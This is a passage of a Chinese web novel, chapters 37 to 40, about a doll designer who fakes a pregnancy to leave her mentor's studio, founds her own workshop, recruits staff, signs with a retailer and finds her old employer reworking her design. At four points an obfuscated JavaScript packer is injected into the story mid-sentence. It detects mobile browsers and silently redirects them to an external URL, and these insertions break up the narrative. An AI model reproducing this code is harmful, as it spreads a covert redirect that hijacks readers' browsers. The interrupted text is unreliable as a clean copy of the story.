花清漓随口回应了几句问候，朝着师父的办公室径直走进去。 办公室里，菅云舒坐在茶几旁翻看着工作室最近项目的收益数据。 花清漓看到师父原本花白的头发突然变成了全白，面色憔悴。仅仅过去一个半月，师父就与从前憔悴了那么多。 “师父，您找我？”花清漓来到师父面前道。 菅云舒缓缓抬起头看向她，眼中满是疲惫：“来了？听说你怀孕了，你什么时候跟沈确那小子在一起的？” “就五月份的时候吧。”花清漓回想了一下道。 菅云舒听到这句话，沉默了片刻，问：“你爸妈知道吗？” “爸爸是知道的。”花清漓如实回答道。 菅云舒无奈地摇了摇头，劝道：“我知道你们俩从小一起长大，感情很好。但是漓漓，你有没有想过，这个孩子会阻碍你自己拼了那么多年打下来的前途？你真心舍得让这一切前功尽弃？我不觉得我亲手带出来的徒弟会是一个为了男人舍弃前途的人。” 他说着，停顿了一下，又提议道：“我给你升职，或者给你的工资再翻一倍，留下来继续帮我看着工作室。怎么样？” 花清漓神色淡然地看着师父，拒绝道：“我只是觉得这么多年都在工作，实在是太累了。所以我想好好休息……” “想休息我可以给你放假，”菅云舒忍不住接话，“但是我不能就这么看着你放弃自己的前途。难道说，有人挖你？对面开价多少？我出双倍。反正你的工资全公司最高，再翻一倍也没人会说你什么……” 花清漓依然拒绝道：“不是有人挖我。这一切都是因为我累了，我确实需要休息，我也想要自由。我这一次辞职的事当然是我想好了才来提的，我当然不是工资问题才要辞职的。” 菅云舒听到花清漓这番话，更是气不打一处来：“所以你还是为了沈确那个臭小子？” 花清漓沉默着，这在菅云舒眼中相当于是默认。 菅云舒见她执意为了一个男人要放弃自己的事业，被气得一掌拍在桌面上，冲着花清漓骂沈确道：“这臭小子给你下了什么迷魂汤了？他是不是嫉妒你业绩比他高故意勾引你？这混蛋我要告诉他哥，让沈行替我打断这臭小子的腿——” 菅云舒突如其来大声的叫骂迎来了门外不少同事的驻足围观。只是办公室里的师徒俩并不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445373|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道门外的情况。 菅云舒将花清漓连带着沈确一同数落。花清漓只是垂着头站在原地，左耳进右耳出。 骂到最后，菅云舒也气得骂不动了，只好愤愤道：“走吧！你最好别后悔！” 花清漓点点头，转身出了办公室。 她出来时，发现不少同事都起身站在工位上竖着耳朵朝着老板办公室张望。在看到她从办公室里出来的时候，所有人都纷纷低下头装作很忙的样子。 她暗自在心里冷笑一声，朝着自己的办公室走进去，当着众人的面开始收拾东西。 楼下的同事们窃窃私语着。 “Evelyn是真的怀孕了？” “没想到Evelyn居然有一天会放弃工作。” Mavis坐在自己的工位上，默默听着众人的议论，心中对这群碎嘴子只觉得反感。 她其实也不觉得按照Evelyn的性格，居然会搞出“未婚先孕”这种事，甚至要为此辞去工作。 该不会是找到下家了，又不好和大家明说才搞这么一出吧？ 她看到花清漓拿着东西从办公室里走出来，忍不住追上前去。 到了电梯口，两人站在电梯前等电梯时，Mavis忍不住开口对花清漓道：“我不觉得Evelyn会是一个为了爱情放弃事业的女人。至少我认识的Evelyn不会这样。明明花了两年的时间好不容易爬到了创意总监的位置，你怎么舍得就这么放弃自己一直努力的事。我看你就是单纯地找借口辞职，然后单飞。毕竟在这种高压环境下，太优秀也是一种烦恼。” “这么会分析啊？”花清漓笑道，“景爷没把你调去做数据分析真是可惜了。” “所以你这是变相承认了吗？”Mavis抓住她的胳膊，看着花清漓逼问道。 花清漓轻笑一声，只道：“像我这么自私的人，当然只会做对自己有益的事。” 她说完的时候，电梯也到了一楼。 “走了。”花清漓轻松地笑着，捧着自己的东西头也不回地走出电梯。 她乘坐出租车回到家时，沈确已经在家做了午饭等她。 “回来了？”沈确一见她进门，自觉上前接过她手里的东西，“你这是辞职了？” “是啊。”花清漓换了鞋朝着客厅沙发走过去，坐下翻看着手机上关于室内装修设计的图文广告。 沈确见她总是盯着手机，忍不住从口袋里摸出自己这两天定制的求婚戒指，连带着自已想了很久的话来到花清漓身旁坐下，对她道：“其实我想了很久，虽然这是一个意外，但我必须要对你负责……” 正在刷手机的花清漓听到这几句，很快就猜到沈确想要干什么。 她看着沈确，突然放声大笑。 “怎么了？”沈确不解地问她。 只见花清漓捧着手机起身，回过头看向他笑道：“我根本就没有怀孕，只是因为焦虑症躯体化障碍导致的呕吐。我这么做是因为这个计划能让我成功脱离我师父的掌控。” 她说完，得意地起身走进房间，丝毫没有要搭理沈确的意思。 37.37 意识到自己又被摆了一道的沈确自嘲地笑了两声。他早就该想到花清漓是这种人的！ 可是，想到刚刚花清漓说的那句“焦虑症躯体化障碍导致的呕吐”，这个消息比她怀孕还要令人担心。 沈确追上去，抓住花清漓的手臂道：“你去哪？” 花清漓看向沈确，道：“当然是回去写招聘启事了！顺便再联系几个可靠的销售代理商。” “可是你生病了，怎么能……”沈确忍不住劝道。 花清漓冷淡地甩开他的手，坚定道：“任何人和事都不能影响我的工作，包括我自己。” 沈确惊讶花清漓竟然会说出这种话。 花清漓当着沈确震惊之余，再次朝着房间里走去。同时还不忘对他道：“接下来我会很忙，有什么事等我工作稳定以后再说。” “你……” 不等沈确反驳，花清漓转头走进房间。出来的时候，身上换了套MUTEDANCE的草木染吊带和同色系的半身裙，手臂上挂着一只酒壶包。 她将长发用一根纯银的月牙簪盘在脑后，朝着门口走去，。 沈确看着她毫无留恋离开的背影，气得只能冷笑两声，拿花清漓没办法。 室外是艳阳高照的大晴天，花清漓先是带着自己事先准备好的材料去工商部门去进行了审批。核名后，她带着名称准核通知书，还有自己的身份证原件及复印件、注册资金和注册地址证明等交到了工商部。 审核很快通过，两天后花清漓就接到了可以领营业执照原件与副本的通知。在拿到这两样东西之后，她再度马不停蹄地到了银行为自己的工作室开设了一个账户用于日常工作的开支与往来。 最后就是税务登记和招聘。 完成这些步骤，已经是一周后。期间，花清漓又买了各种专用的设备放置在工作室里。也是在这期间，没有再和沈确说上一句话。每次回到家，要么就是沈确还在加班，要么就是沈确早已入睡。花清漓知道错在自己，只是这次无可避免的冷战持续得有些久了。 这天上午，花清漓一个人来到自己的工作室，一边整理着工作室新添置的设备，一边等待着自己发出招聘启事的回应。 大概是Evelyn的名气在业内人尽皆知，投递简历的人也不少。 花清漓约了几个给自己投递简历的员工前来面试。估算着时间，她们这会儿应该到了。 就在花清漓整理杂物时，门口响起了门铃声。 “来了——”花清漓放下手中的东西，随手捡起手机朝门口走去。 打开门就看见一位身着白色缎面连衣裙的女孩，肩上背着一只纯黑中号LV on the go。 女孩一见到花清漓，先是低头看了一眼手机上的招聘信息，才礼貌地和她打招呼：“嗨！你就是Evelyn对吧！我是Una，来面试平面设计师的！” 花清漓将她从头到脚打量一番。 Una模样生得很漂亮，脸上有点婴儿肥。个子不高，长发盘在脑后。脸上化了淡妆，衬得整个人灵动可爱。 “你好，Una。”花清漓邀请她进门，两人在会客室的沙发上坐下聊天。 “这是我的简历，请您过目。”Una从包里拿出自己的简历，在花清漓泡好茶端过来时放在了桌上。 花清漓没有急着看Una的简历，而是先给她和自己各倒了一杯茶后，才拿起Una的简历翻看。但也只是扫了一眼她需要的几个重要信息就将简历放下。 她举起桌上的茶杯，抿了一口随口对Una问：“为什么选择我这个新成立的工作室？” Una轻笑了一声，认真地回答道：“我知道这是Evelyn成立的工作室；我知道你的实力；而且我来这边之前就已经听见很多合作方在等你安定下来，只要你一安定，项目资源就会源源不断地朝你伸出手。” “是吗？”花清漓嘴角扬起一个不失礼貌的微笑，翻开手机邮箱正好是密密麻麻的合作邀约信息。 花清漓看着手机，又问：“那你的职业规划是什么呢？如果我一直没有招到人，你还会留下来跟着我吗？” “职业规划嘛，”Una挑了挑眉，“我个人有很强烈的意愿在这个行业深耕发展。我非常喜欢收集各种各样的玩具，看到它们我就很开心。所以我想在一个让我感到开心的地方上班。工作期间我会专注于提升工作效率，深入了解业务需求……” 一套完美的回答说完，花清漓放下手机又问她：“你怎么看待加班呢？如果入职，你准备怎么开展你的工作？” Una听到“加班”两个字，笑容一时僵在了脸上，道：“必要的加班我能接受，但不接受无效的加班。我一直秉持着今日事今日毕的工作原则，会在工作期间将自己的工作做好，不拖团队后腿；如果需要长期加班，我会反思自身工作效率问题，积极提升个人能力，优化工作方法及流程，减少无效加班。顺便我想问一下，这个岗位的加班频率是怎么样的？” “平面设计师在我们工作室的加班频率并不算高，只需要按时完成工作室新品的修图和排版；销售平台的页面设计与美化，还有工作室其它平面包括但不限于微博的设计相关工作。”花清漓解释道，“假期方面，周末双休，周一至周五工作时间为上午9点整到下午18点整。享国家法定节假日，假期如果你们想出去玩的话可以组织团建。不管是出国还是在国内，住宿我报销。还有什么想问的？” “近期有什么准备做的项目吗？”Una又问。 “工作室刚刚成立，需要做一个全新的人偶系列来彰显我们的特色。”花清漓拿来电脑给Una看自己往年的设计作品。 Una接过花清漓的电脑，看着屏幕上的人偶照片道：“我对这些人偶系列都还有印象，我喜欢当年那个螺钿系列。” “所以你对我们工作室接下来的新系列有没有什么想法？最好要凸显我们的风格特色。”花清漓看着Una笑问。 “接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518154|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来嘛……”Una思考片刻，提议道：“我想可能还是环境污染拟人系列吧？或者可以考虑蒸汽朋克风格？做一些机械特体人偶怎么样？最近不是流行什么＇废土风''吗？要不试试？” 花清漓听到Una的提议，忍不住挑了挑眉。在考虑片刻后，打了个响指肯定道：“就按你说得办吧！等我再招几个人就开工！” Una听到自己通过面试的消息，兴奋地提议道：“我帮你招人怎么样？” 花清漓看向Una，提醒道：“工作室禁止裙带关系。” “不是啦！”Una解释道，“我有一个高中同学是独立人型师，她微博叫＇盆盆一枝花''，做过不少四分体的人偶，比较有名的是一只四分尺寸的女娃，叫做＇白龙''。” “哦！原来是做''白龙''的那位！”花清漓有些惊喜。 白龙，是一只四分尺寸的特体人偶。以白色树脂龙头头饰，和脊刺臂饰出圈。 这真是个好苗子，可以挖过来！ 花清漓看向Una，问：“你这位朋友叫什么名字？” “虞归晚。”Una道，“虞美人的虞，名字起自明代杜浚的《游夹山漾》：''寻幽不觉迟，归晚顾而笑''。” “虞归晚？”花清漓低声呢喃着这个名字，对Una道：“能不能把她联系方式给我，我要找个时间约她见面聊。” Una举起手机，将虞归晚的联系方式推给了花清漓。 “谢了！”花清漓低头添加虞归晚的微信，对Una道。 “谢什么！我早就跟她说过今天要和我一起过来面试了！结果她今天临时有事，所以就还没回你约过来面试的消息。”Una解释道。 花清漓点点头道：“她在忙什么？等她有空的时候再来约我面试吧。我这两天忙着打理工作室，还要整理接下来的新项目的资料。我本来想着多找几个人我的工作效率会提高，因为最近工作室里的体力活很多。不过想到最近招到的大部分都是女生，还是算了。” 不料Una摆了摆手笑道：“不就是整理东西嘛！我可以帮你啊！” “那怎么好意思……”花清漓看着Una道。 Una思考片刻，笑盈盈地提议道：“大不了你请我吃饭，饭钱我付，酒水你付！怎么样？” 听到Una的提议，花清漓惊讶道：“你也很喜欢喝酒啊！” “哦？你用＇也''这个字？怎么，难道你也喜欢喝酒？”Una仿佛找到了同道中人，兴奋地盯着花清漓。 “那倒不是，”花清漓只是想到了沈确，“只是我男朋友酒量很好，他很喜欢喝酒，家里有很多各种各样的酒。” “是吗！”Una一听到有各种各样的酒就来了劲，提议道：“那下次把你男朋友叫上一起出来喝啊！” 花清漓尴尬地叹了口气道：“我们前段时间闹别扭了，我为了工作耍了他好几次。他这次估计记仇了吧，到现在都没有联系过我。我忙着筹备工作室的事，也联系过他。” 38.38 “这样啊……”Una一副恍然大悟的模样道，“那你们平常感情好吗？” “挺好的，毕竟我们从小一起长大。”花清漓垂眸看着手机上的信息道。 “我要和几个代理商联系一下，不过线上的要等我们的新人偶做出来正式上架才行。至于线下的，我会先找OAK家谈一下。”花清漓说着，一边在手机上约了OAK家的主理人傍晚前往法餐厅谈合作。 “那你现在就去吗？”Una问。 “不，先把工作室整理好，晚点再去。”花清漓反驳道。 随即，两人一同整理起了工作室。 其实今天要整理的东西并不多，因为在正式开业之前花清漓就已经在整理了。 两人在工作室里一起折腾到下午，总算是将各种杂物整理完毕。同时两人的肚子也饿了。 花清漓拿出手机翻到了不少沈确发来的信息，她扫了一眼但并不准备回复，转头对Una道：“今天谢谢你了，想吃什么，喝什么酒，我请。” “今天就不劳烦你请啦！”Una婉拒道，“等我把人摇过来再说吧！” 花清漓见她拒绝，只好道：“别啊，我是感谢你初来乍到就帮我干了这么多活。就这么让你走了我也不好意思。我请你吃饭喝酒也是应当的。吃完饭你再回去，过几天正式开业的时候我通知你。” Una站在原地思考片刻，干脆应下，提议道：“我知道有一家生腌海鲜店，很好吃的！我经常去？你吃不吃生腌啊？” “不好意思，我不太习惯吃生腌还有日料这些。”花清漓尴尬道，“不过上次我和我男朋友去了一家日料店感觉还不错……” 花清漓想起了上次和沈确一起去的那家日料店，神色沉了沉，没有再继续说下去。 “那今天先去我说的那家！他们家老板自己酿的青梅酒超好喝！”Una说到喝酒就特别有劲。 花清漓看着她，笑道：“这才下午，你就准备这么喝啊？” “又不妨碍我晚上和姐妹们一起喝！”Una无所谓地摆摆手笑道。 这句话惊呆了花清漓：“你们晚上还准备去喝？”这酒量也太好了吧！和沈确有得一拼。 “对啊！我们每天晚上都喝！”Una轻描淡写道，“就是一个月下来酒钱的开销是真不少。” 这得是多爱喝酒啊？花清漓诧异地看着Una，自己怎么能这么精准地找到这么个“酒鬼”。 无奈之下，花清漓叹了口气对Una道：“那……晚上见。” “行，一会儿我把那家生腌海鲜店的位置发给你！”晚上有人请喝酒，Una的心情比面试成功还要高兴。 花清漓目送Una离开后，待到傍晚约定时间之前，独自关了门前往那家法餐厅。 天空中称群的乌鸦仿佛是夜的使者，衔着黑色的幕布，将天空遮了个严严实实。 地面有些潮湿，大概又是雨水趁人们不经意间偷偷从天而降。 地面上电车的铁轨像无数条黑色的血管，从城市四面八方伸向市中心的广场，汇聚成这座城市冰冷的心脏。 抵达餐厅时，花清漓的手机正好响起了OAK主理人的来电。 花清漓接通电话，听见对面的女人对自己道：“我在靠窗的位置，今天穿了UmaWang的龙纹道袍。” 听到女人电话里的提示，花清漓站在餐厅门口放眼扫过去，很快就发现了目标。 她抬手冲着OAK主理人打了个招呼。对面的人正好也看到了她。 花清漓上前和她打招呼：“OAK酱，你好，我是Doll Workshop的老板花清漓，很高兴认识你！” “久仰大名，Evelyn。叫我奚海悦就好了。”她说着，顺势邀请花清漓坐下。 “谢谢你奚小姐，今天可以抽空来见我。”花清漓在奚海悦对面的空位上落座。 “不用客气。”奚海悦随手招来侍应生，给自己点了一份法式蜗牛后，问花清漓：“你吃什么？” “一份柠香土豆烩鸡排，谢谢。”花清漓对侍应生道。 待到侍应生拿着菜单离开，奚海悦这才开口对花清漓道：“我知道你为什么找我。OAK是整个申城最大的线下人偶代理销售商店，无论国内还是国外的人型社，或者人型师，都和我有联系。不过我和D社、DH之前都有合约。听说你开了人型社自己当老板了，真不错啊。恭喜。不过据我所知，你的工作室目前还没有开工吧？你凭什么觉得我会答应你？” 花清漓垂着眸，眼底带笑。道：“我知道我现在说这话还太早。我最近新招了几个人型师，她的创意连我都认可，你一定也会喜欢的。有能力的人到哪里都能发挥自己的价值。其实你也知道，我这个人脑洞很多，所有人都知道D社能有今天是因为有我。只要我手底下的人够多、听我的话，我就能让你满意。” 奚海悦看着花清漓，抬手支着脑袋道：“我认可你的实力。你师父的作风我也清楚。所谓近墨者黑，我劝你对你身边的人好点。特别是我的人。” 花清漓被奚海悦最后一句话逗笑。她对奚海悦道：“以前也有人这么对我说。” 奚海悦眯起眼睛看向花清漓，似乎已经有了答案。 “我想你一定也知道这个人是谁！”花清漓说话间隙，侍应生正好端着菜品给二人上菜。 花清漓随手拿起刀叉，观察着奚海悦脸上的表情。 只可惜，奚海悦脸上并没有什么表情变化。只是沉默片刻，回答道：“我可以答应做你品牌的代理商，让你的品牌入驻OAK。只要你能一直保持最高的销量，我就可以把店里最好的展柜留给你。一旦你的销量被超越，那我只会把你的作品放在我们店里最陈旧的展柜角落里了。待到合约到期，我是不会再给你机会的。当然了，我不是针对你，这就是我店里的规则。毕竟我是个商人，只会做我认为赚钱的买卖！” “成交！”花清漓毫不犹豫地答应。这对她来说，根本就不成问题。 奚海悦惊讶于花清漓干脆利落的态度，忍不住问：“你就一点也不担心自己销量低？” 花清漓耸耸肩，调侃道：“没办法，我现在也是烂命一条。就等着这一仗让我起死回生了。一旦我失败，那就得把自己全部身家都赔进去，然后我身无分文。最后只能找个没用的男人嫁了，接着再被洗脑这辈子唯一的价值就是生一个孩子。真是个鬼故事。” “你好狠的心啊，趁着天快黑了就开始讲''鬼故事''……”奚海悦听完花清漓这番话，一时竟不知该说些什么才好。 花清漓看到奚海悦满脸的不自在，笑道：“不好意思啊，吓到你了！” 奚海悦翻了个白眼，道：“合同我会找律师尽快拟好，等你签好字以后我们的合作才算正式开始。当然了，DH&D之前和我的合作刚刚才续约，你要是能把以前的自己也比下去就好了！” “我会努力的！”花清漓知道奚海悦的言下之意。总之，想要让自己设计的人偶留在OAK贩售，一定要让自己的设计脱颖而出。这其中要考虑的因素实在是太多了，虽然自己能保证创意，但无法真正保证销量可以达到第一。 “我很期待！”奚海悦满意地笑着，低头在手机上打了一串信息发送出去。 “既然如此，那我就告辞了！”花清漓说完，放下刀叉起身与奚海悦道别。 “慢走，不送。我吃完饭再回去。”奚海悦头也不抬道。 很快，奚海悦就听见花清漓离开的脚步声。 待到花清漓正式离开，奚海悦这才举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546441|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起勺子，继续用餐。 她将手机放在桌上，看着Donald给自己发的信息，随手将自己所在的餐厅位置发给了他。 接着又招来服务员扯掉了自己吃完的法式蜗牛，掏出口红对着手机补妆。 Donald来的时候，天色已晚。 奚海悦邀请Donald在刚才花清漓坐的位置坐下，道：“我记得我们已经谈过续约的事情了，我说了不再续约。不知道你今天来找我又有什么要求？话说在前面，我是个商人，如果你的提议耽误我赚钱，那我一定不会搭理你的。” Donald开门见山，拿出手机翻出几张设计图和新人偶的照片递到奚海悦面前道：“这是我们社最新推出的通贩人偶，还没有正式上架，但是预约人数过万。就算是Evelyn离开了我们，我们也不是坐以待毙只会依赖她的人型社。我们其他的人型师并不比Evelyn差！” “哦？”奚海悦捧起Donald的手机，仔细查看着照片上的人偶。 其中一只人偶躯体上有灰色岩石的装饰，周身还沾有青苔。仿佛岩石是从人偶身体里长出来的一样。 “不错的设计。”奚海悦看着照片评价道，就是感觉这个设计风格很熟悉，特别像花清漓在D社最后一次发布的那个“环境污染”系列。 “这是我们准备新上架的自然环境拟人系列！保证独一无二！”Donald自信十足地对奚海悦介绍道，“这个系列的设计理念是采用环境污染、自然环境现状，将他们拟人化。我们还为此设立了一个环保公益捐献项目，准备把这个系列卖得的利润投入环保公益当中。” 奚海悦听完Donald的话，挑了挑眉：“有点意思。设计也不错。这年头居然又有一个可以媲美Evelyn的人型师了，真是可喜可贺！Donald你运气真不错，走了一个Evelyn，居然又来一个''福星''？” “人偶我们都已经做出来了，等正式宣发以后就可以送过来。”Donald笑道，“怎么样，可以续约了吧？” “当然可以！等你把素体和全套人偶各带一套过来让我测试质量。合格的我都会留下，到时候再签续约合同。”有钱干嘛不赚呢？奚海悦想。 D社当年有花清漓坐镇时，从来都是国内首屈一指的创意大社，更是一度带领国内的人型社开启“特体人偶”风潮。这些年来，凭借着创意、优秀的售后保障获得了不少玩家的青睐。 “成交！”Donald满意地起身与之道别。 - 花清漓抵达Una说的那家生腌海鲜店时，在门口就看见Una与另外两个和她年龄相仿的女孩举杯畅饮。 “嗨！”花清漓上前去和Una打招呼。 Una听到她的声音，抬起头朝她的方向看过来，脸上浮着一层红晕。Una笑着和花清漓介绍道：“这是明明，” 她抬起手搭在自己左手边蓝色衬衫的女孩的肩上介绍道。 “你好！”花清漓有些尴尬地和女孩打招呼。 “这是龟龟！”Una再次抬起另一只手，搭上右手边穿着鹅黄色针织衫女孩的肩膀介绍道。 “你好你好！”花清漓尴尬地在一旁的空位落座，问三人：“你们喝好了是吗？我来结账，今天算我请你们的！” “不用！”被称为归归的女孩连忙摆手拒绝道，“我们才喝了三十罐，我们自己结！” “＇才三十罐''？”花清漓震惊地看着三人，又看了一眼桌上的酒瓶，这一罐貌似是五百毫升的吧？这几个女孩子也太能喝了！ 归归连忙解释道：“我们从早上坐到现在。一直在喝，中午和刚才吃了点生腌，还有一些别的。我们不是每天都这样啦！是放假的时候才会这么喝。要不……一起？” 39.39. “还是不了，我真的喝不下了……”花清漓实在招架不了这三个“酒鬼”，连忙拒绝。 虞归晚一眼就看出花清漓确实没有撒谎，抬手拦下了准备给她倒酒的Una：“别闹了，她喝不下了。”她说着，对花清漓道：“打电话让你男朋友来接你吧，这么晚了，你喝了酒，我们可不放心让你一个人回去。” 花清漓确实有些醉了。她一手搁在桌上支着脑袋，一手握着手机准备找沈确的电话号码。 酒精让花清漓一时忘记了自己已经和沈确分居的事实。 她一翻开手机，发现有好多自己没看的消息。不管是短信还是还是未接来电，密密麻麻看得就烦。 花清漓的耐心很快被耗尽，干脆翻出拨号键盘凭感觉输了一串数字拨了过去。 待接铃声响了三秒后，电话被接通。 没有看清拨出去的电话打给了谁，花清漓开口就冲着电话那头道：“沈确，快来接我——我在……这是哪？” 她一下子想不起来这家生腌海鲜店叫什么名字，只好问身旁的Una。 Una索性接过她的手机，看了一眼屏幕上接通电话的联系人名称显示的居然是一只白色的小鸟emoji。 Una奇怪地冲着花清漓手机对面接电话的人问：“你好，请问你是Evelyn的家里人吗？我是她工作室的员工，我叫尤娜。她晚上跟我们几个一起喝酒，她喝醉了。我们不知道她家在哪，能麻烦你来接她吗？”说完顺便报了生腌海鲜店地址。 在工作室加班的沈确没想到今晚花清漓居然会主动联系自己，原本以为她工作忙得差不多了。结果接通电话却发和自己分开的这段时间里，花清漓倒是潇洒得很！亏得他天天想着她！气死了！ “我现在就过去，麻烦帮我照顾她一下。我马上就到。”沈确毫不犹豫地起身朝着楼下冲出去。 花清漓几人所在的生腌海鲜店距离沈确的潮玩工作室路程并不远，但为了尽快接到花清漓，沈确干脆打车过去。 抵达几人所在的生腌海鲜店时，沈确一下车远远地就看见花清漓半趴在桌上。另外三个女孩倒是依旧喝得起劲。 沈确上前来到花清漓身旁，叫了她一声：“梨梨？我来接你回家。” 趴在桌上的花清漓闻声缓缓抬起头，看见了沈确的脸后沉默了片刻，直言道：“我不会和你道歉的。我也不要那么早就结婚。这年头离婚太难了……我不要结婚……” 一旁的三人听到花清漓这番话，纷纷竖起耳朵吃瓜。 沈确扫了三人一眼，看到三人面露尴尬的样子，道：“梨梨结过账了吗？你们看起来挺能喝的，看来下次梨梨你们吃饭的时候我也得来才行。我的酒量很好，下次我陪你们喝个尽兴。” Una看着花清漓回答沈确：“啊……生腌的钱我们自己付过了，本来让Evelyn请我们喝酒的……不过我们酒钱挺贵的，可以自己付……” “没事，”沈确打断她，“既然梨梨说了请你们喝酒，那就我替她付吧。等我一下。” 沈确说着，转身进店找了老板结账。 他结完账后很快回到花清漓身旁对几人道：“替你们结过账了。如果今天没喝尽兴可以那就改天再约，我请。” “那倒不用……”虞归晚婉拒道。 沈确没有再说什么，只是将花清漓打横抱在怀里，在三人的目送之下坐上了出租车。 午夜的申城像一个准备收摊回家的小贩。花清漓靠在沈确的胸口，听得见从他胸膛里传出来振聋发聩的心跳声。她眯着眼，看着窗外的世界渐渐被黑暗淹没。 当车辆停在沈确家楼下时，花清漓缓缓睁开眼，任由沈确抱着自己上楼。 进屋后，沈确将花清漓放在沙发上，转身进厨房给她倒了杯水回来递给她。 花清漓无力地靠在沙发上，瞥了一眼沈确握着杯子递到自己面前的手，没有要抬手接这个杯子的意思。反而往一旁侧躺下去，眼神涣散地望着沈确自嘲道：“为什么来接我？你应该讨厌我才对。只要你拒绝我，我就绝对不会再来烦你。分手也好、绝交也好……” 沈确听完这番话，沉默着将手里的水杯搁在茶几上。 其实这个问题他早就回答过了，不过不是对花清漓说，而是对着同事说。 他垂着眸，犹豫片刻后才道：“因为我不放心。就这么简单。” 花清漓躺在沙发上，嗤笑了一声，道了句“明天一早我就会回工作室”后，闭着眼不再理会沈确。 沈确看着花清漓，叹了口气，转身进房间拿来毯子替她盖上。随后才独自回房洗漱。 - 第二天一早，花清漓是被一通电话吵醒的。 她睁开眼睛，眼神涣散地伸手去摸所手机，结果摸了半天也没摸到，气得她一个挺身坐了起来，才发现自己的手机不知何时掉在了地毯上。 花清漓有气无力地坐起来，俯身捡起来手机，发现是Una打过来的。 她接通电话的下一秒，电话那头就传来Una焦急的声音：“Evelyn，快看DH&D今天刚刚发的新品预告——” 什么情况？花清漓听到Una的语气，心中顿时生出一股不详的预感。 她翻出DH&D的官博，印入眼帘的新品预告上，新人偶的照片是自己在还在DH&D时设计的环境污染拟人系列的二改版本。 花清漓瞬间就被气笑了。不仅如此，官博还告诉粉丝这个环境污染系列后续还会出好几个。并且从今天开始预售。有不少玩家看到这个系列的设计风格，都以为是花清漓的设计，但又莫名感觉她的设计退步了。 神经。这根本就不是她的原版设计。 看到自己的原创心血被改得面目全非，花清漓气得直接打电话给Donald。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579473|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是电话声响了很多下，都没有人接。花清漓意识到自己被Donald这家伙拉黑了。 “该死的，几个强盗！”花清漓气急败坏地对着手机屏幕上Donald的联系人界面骂道。 花清漓拿起手机转头打给了自己的律师。在和律师描述完剧情情况后，对方表示要去DH&D了解一下实际情况后再给她答复。 花清漓无奈之下只能等待，可微博上不少粉丝都@问她不是从DH&D离职了自己开工作室了，为什么要接前单位的活？ 她看着微博上密密麻麻的私信与@消息，懒得一个个回复，直接发微博： 【我是DH&D创意人型的前创意总监。离职后一直在筹备我自己的工作室，并且与DH&D工作室再没有任何关系。“环境污染拟人系列”的设计稿是我在DH&D时期独立创作的。完全属于原创，当时的设计稿也因为合同条款留在了DH&D。但是DH&D本次上架的新品并非我的原版设计稿，同时看得出这是有人拆解了我的设计稿后进行二次创作的产物。我在职DH&D时期的合同里有一项协议，是“不可将设计稿二改商用，废稿也不可以”。鉴于DH&D本次上架的新品，我将走法律程序处理。】 发微博的时候，花清漓顺便附上了自己的设计手稿和概念演变解构图。 这条微博一经发布，很快就引起了玩家们的转发和讨论。 DH&D的官博运营却在这时发布了一则澄清公告，内容大概是表示花清漓在职期间的合同有写： 由花清漓在职期间产出的设计稿，版权都属于D社（后更名为DH&D）。因此DH&D产出的人偶的设计稿都属于DH&D而非花清漓本人。至于所谓的“二改”，在合同上也有规定：一旦人形师花清漓离职，无法带走在职DH&D期间所产出的所有设计稿版权。这些设计稿的版权最终归DH&D所有，DH&D的人形师有权利对设计稿进行二次创作。 以上内容就是DH&D的回应。 花清漓看完这则公告，气愤地打电话找当时签合同的律师，在描述完事情经过后，她问：“有没有什么办法能拿回我的版权？” 对面的律师看完合同，沉默了一会儿才道：“这份合同把现在的情况也提前写进去了。几乎没有任何披露。重点就是法律规定＇一般职务作品著作权归作者享有，但公司有权在它的业务范围内优先使用''。所以你可以拿回版权，但他们依然可以在他们的业务范围内优先使用。就相当于版权会回到你手里，但他们依然有使用权。” “靠。”花清漓忍不住爆了句粗口，在和律师道谢后才愤愤不平地挂断电话。 “DH&D的公告我看了。”身旁突然传来沈确的声音，花清漓被吓了一跳。回过头瞪了沈确一眼。 沈确将手里的水杯递给她后，提醒道：“去洗漱吧，我去给你做早饭。” 40.40 